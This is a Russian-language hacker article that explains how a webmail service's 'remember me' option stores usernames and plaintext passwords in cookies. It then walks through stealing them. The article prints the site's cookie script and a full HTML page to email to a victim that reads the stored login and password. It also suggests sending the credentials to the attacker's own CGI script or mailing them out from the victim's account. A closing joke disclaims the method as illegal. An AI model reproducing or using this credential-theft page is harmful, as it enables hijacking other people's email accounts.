Здравствуй!

Ты когда-нибудь задумывался о безопасности почты на основе WWW-Интерфейса? Скорее всего нет.
А если и да, то скорее всего на масли тебя натолкнул какой-нибудь журналист, сказавший что хакеры
(а по его словам это гении компьютерного мира, и вообще при одном их виде надо
падать и бояться :]) взломали xxxmail.xxx. Но ты не обратил на это сообщение особого внимания, а зря. 

По статистике большинство юзверей, которые пользуются мылом через свои любимые браузеры, очень
ленивы и рано или поздно им надоедает вводить пасс и логин. Для таких людей создатели почт предлагают
использовать всякие фишки по автоматическому заполнению паролей и логинов. Возникает интересный
вопрос: как сервер узнаёт кто пришел и чем заполнить форму? В большинстве случаев ответ -
Java+Cookies, так как эта технология поддерживается большинством браузеров (таких как Internet Explorer, Opera, Нетшкаф and so on ...).

Возникает проблема: как достать эти кукисы? Это сделать ОЧЕНЬ просто :). (намного сложнее заставить юзера
посмотреть attachment :[ ). Давай рассмотрим это на примере какой-либо службы... Да чего долго ходить
можно посмотреть и на mail.xakep.ru :). Зарегистрировавшись, получаем "ясчик" (и обращаем внимание на
radio-button (переключатель) с надписью "Свой компьютер(запомнить имя и пароль)"). Ну что? Пусть запомнит
пасс и логин (допустим, что мы часто здесь бываем и оооооочень ленивы). При последующей загрузке страницы мы
видим введенные данные и нам остаётся только входить и радоваться жизни. Интересен код страницы
аутентификации. Этот кусок отвечает за то самое сохранение пасса:

<SCRIPT LANGUAGE="JavaScript">
<!--
--------------------------------
function setCookie(name, value) {
var expire = "0, 01-01-2100 00:00:00 GMT"
document.cookie = name + "=" + escape(value) + "; expires=" + expire;
}
--------------------------------
function Save()
{ var sqr = 0;
if (document.logon.sequrity[1].checked) {sqr=1;}
if (document.logon.sequrity[2].checked) {sqr=2;}
var name = document.logon.username.value;
var psw = document.logon.password.value;
var domain = document.logon.domain.value;
if (sqr == 0) { domain=''; name=''; psw=''; } else
if (sqr == 1) { psw=''; }
setCookie('qmail_name', name);
setCookie('qmail_psw', psw);
setCookie('qmail_sqr', sqr);
// setCookie('qmail_domain', domain);
}
//-->
</SCRIPT>

Значит cookie :). На этой же паге видим как их достать:

--------------------------
function getCookie(Name) {
var search = Name + "="
if (document.cookie.length > 0) { // if there are any cookies
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length // set index of beginning of value
end = document.cookie.indexOf(";", offset) // set index of end of cookie value
if (end == -1) end = document.cookie.length
return unescape(document.cookie.substring(offset, end))
}
}
}
--------------------------

<SCRIPT LANGUAGE="JavaScript">
<!--
var i = getCookie('qmail_name');
if ((i != null)&&(i != "")) {document.logon.username.value = i;}
i = getCookie('qmail_psw');
if ((i != null)&&(i != "")) {document.logon.password.value = i;}
i = getCookie('qmail_sqr') || 0;
document.logon.sequrity[i].checked = true;
// i = getCookie('qmail_domain');
// if ((i != null)&&(i != "")) {document.logon.domain.value = i;}
document.logon.username.focus();
//-->
</SCRIPT>

Так. Пасс и логин теперь есть у сайта. Чем мы хуже? Делаем письмо человеку, пасс которого нам нужен, и
перекрепляем к нему пагу, содержащую наш пас-зиф. Код этой паги может быть изменённым сорсом этой
заготовки (в первом поле ввода логи во втором пасс):

<html>

<SCRIPT LANGUAGE="JavaScript">
<!-- 
function getCookie(Name) {
var search = Name + "="
if (document.cookie.length > 0) { // if there are any cookies
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length // set index of beginning of value
end = document.cookie.indexOf(";", offset) // set index of end of cookie value
if (end == -1) end = document.cookie.length
return unescape(document.cookie.substring(offset, end))
}
}
}

//-->
</SCRIPT>
<br>
<table width="100%" border=0 cellpadding=0 cellspacing=0>
<tr valign="top" align="center">
<td width="100%">
<p></p>
<table cellpadding=1 cellspacing=0 border=0>
<form method="post" name="logon" action="http://mail.xakep.ru/cgi-bin/mail" onSubmit="Save();">
<tr>
<td class=text><input type="text" name="username" size="8" style="width: 95px;"><input type="hidden" name="domain" value="xakep.ru"></td>
<td class=text><input type="text" name="password" size="8" style="width: 95px;"></td>
</tr>
</form>
</table>
</td>
</tr>
</table>

<SCRIPT LANGUAGE="JavaScript">
<!--
var i = getCookie('qmail_name');
if ((i != null)&&(i != "")) {document.logon.username.value = i;}
i = getCookie('qmail_psw');
if ((i != null)&&(i != "")) {document.logon.password.value = i;}
i = getCookie('qmail_sqr') || 0;
document.logon.sequrity[i].checked = true;
// i = getCookie('qmail_domain');
// if ((i != null)&&(i != "")) {document.logon.domain.value = i;}
document.logon.username.focus();
//-->
</SCRIPT>

</td>
</tr>
</table>
</HTML>

Далее же всё зависит от твой фантазии. Можно где-нибудь в сети выложить свою CGI, которая будет
принимать и "обрабатывать" логин и пасс жертвы, а можно, набравшись наглости, отправить от жертвы
себе на мыло письмо с "бесценной информацией". В общем как с тем журналом - "Делай с ним, что хочешь".

Вот собственно и всё. Я тебе ничего не говорил, это всё неправда и вообще это противозаконно. (Я серьёзно).

Оставить мнение